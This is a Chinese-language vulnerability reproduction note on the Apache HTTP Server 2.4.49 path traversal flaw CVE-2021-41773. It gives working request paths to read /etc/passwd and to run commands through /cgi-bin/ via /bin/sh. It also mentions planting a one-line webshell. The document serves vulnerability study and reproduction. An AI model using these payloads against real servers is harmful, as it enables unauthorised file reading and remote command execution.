apache-httpd_2.4.49_path-traversal_CVE-2021-41773

apache-httpd_2.4.49_路径穿越漏洞_CVE-2021-41773

说明	内容
漏洞编号	CVE-2021-41773
漏洞名称	Apache HTTP Server 2.4.49 路径穿越漏洞
漏洞评级	高危
影响范围	2.4.49
漏洞描述	引入了一个路径穿越漏洞，穿越的目录允许被访问，可以执行任意命令
修复方案	升级

漏洞描述

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中，引入了一个路径穿越漏洞，满足下面两个条件的Apache服务器将会受到影响：

• 版本等于2.4.49
• 穿越的目录允许被访问，比如配置了<Directory />Require all granted</Directory>。（默认情况下是不允许的）

攻击者利用这个漏洞，可以读取位于Apache服务器Web目录以外的其他文件，或者读取Web目录中的脚本文件源码，或者在开启了cgi或cgid的服务器上执行任意命令。

漏洞等级

高危

影响版本

• Apache HTTP Server 2.4.49

漏洞复现

基础环境

组件	版本
OS	kali-linux
Web Server	chrome
Apache HTTP Server	2.4.49

漏洞扫描

使用nuclei可以扫描到漏洞

./nuclei -u 192.168.117.163

漏洞验证

1. 启动环境，访问主页，进行抓包

   

2. 访问以下目录，可以直接读到etc/passwd文件

   /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
   

   

3. 将GET包改为POST包，访问以下目录，并在最后加上命令

   /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
   
   echo;id
   

   

深度利用

命令执行

可以通过修改命令进行命令执行

GetShell

可以写入一句话木马getshell

漏洞挖掘

网络测绘

Apache HTTP Server 2.4.49

修复建议

无